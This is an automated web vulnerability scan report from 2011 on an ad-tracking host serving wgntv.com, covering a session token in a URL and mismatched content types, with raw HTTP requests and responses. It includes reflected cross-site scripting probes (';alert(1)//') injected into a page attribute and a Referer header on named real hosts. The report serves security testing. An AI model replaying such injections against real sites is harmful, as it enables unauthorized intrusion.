<div id='oggiPlaceholder64db9d01_dd23_46ec_afee_b7f08753f7ad' style='width:160pxbb851";alert(1)//35948f6fa31;height:600px;'>
...[SNIP]...

2. Session token in URL  previous  next

Summary

Severity:   Medium
Confidence:   Firm
Host:   http://raw.oggifinogi.com
Path:   /Track.aspx

Issue detail

The URL in the request appears to contain a session token within the query string:

Issue background

Sensitive information within URLs may be logged in various locations, including the user's browser, the web server, and any forward or reverse proxy servers between the two endpoints. URLs may also be displayed on-screen, bookmarked or emailed around by users. They may be disclosed to third parties via the Referer header when any off-site links are followed. Placing session tokens into the URL increases the risk that they will be captured by an attacker.

Issue remediation

The application should use an alternative mechanism for transmitting session tokens, such as HTTP cookies or hidden fields in forms that are submitted using the POST method.

Request

GET /Track.aspx?playlistId=de12c9c3-8830-4d55-af77-e268efdbd75c&campaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&site=www.wgntv.com&eventType=9&sessionId=ecfa0e50_1941_4d3c_8970_7d2f0e67f1fa&data=Flash%20Version%3A10.1%20r103 HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://www.wgntv.com/business/sns-ap-us-obit-daniel-bell,0,4200211.story?page=24c8de%22%3balert(1)//9b2220c5c29
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 20:07:33 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: no-cache, no-store, must-revalidate, post-check=0, precheck=0, max-age=0
Pragma: no-cache
Expires: -1
Content-Type: image/gif
Content-Length: 43

GIF89a.............!.......,...........D..;

3. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


3.1. http://raw.oggifinogi.com/Service.svc/OptOutCookiePresents  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://raw.oggifinogi.com
Path:   /Service.svc/OptOutCookiePresents

Issue detail

The response contains the following Content-type statement:The response states that it contains JSON. However, it actually appears to contain plain text.

Request

GET /Service.svc/OptOutCookiePresents? HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://static-cdn-cf.oggifinogi.com/prod/RequestSender.swf?v=4&playlistId=de12c9c3-8830-4d55-af77-e268efdbd75c&campaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&site=www.wgntv.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Wed, 26 Jan 2011 20:07:14 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 2.0.50727
Cache-Control: private
Content-Type: application/json; charset=utf-8
Content-Length: 5

false

3.2. http://raw.oggifinogi.com/crossdomain.xml  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://raw.oggifinogi.com
Path:   /crossdomain.xml

Issue detail

The response contains the following Content-type statement:The response states that it contains XML. However, it actually appears to contain HTML.

Request

GET /crossdomain.xml HTTP/1.1
Host: raw.oggifinogi.com
Proxy-Connection: keep-alive
Referer: http://static-cdn-cf.oggifinogi.com/prod/RequestSender.swf?v=4&playlistId=de12c9c3-8830-4d55-af77-e268efdbd75c&campaignId=07b24386-4c5b-4ca7-8b27-6adc092e2aef&site=www.wgntv.com
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Content-Length: 257
Content-Type: text/xml
Last-Modified: Fri, 12 Sep 2008 13:12:44 GMT
Accept-Ranges: bytes
ETag: "2ae33c3ed914c91:6ac"
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
Date: Wed, 26 Jan 2011 20:07:12 GMT

<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
<allow-access-from domain="*" to-ports="*" />
<allow-http-request-head
...[SNIP]...

Report generated by CloudScan Vulnerability Crawler at Thu Jan 27 08:11:45 CST 2011.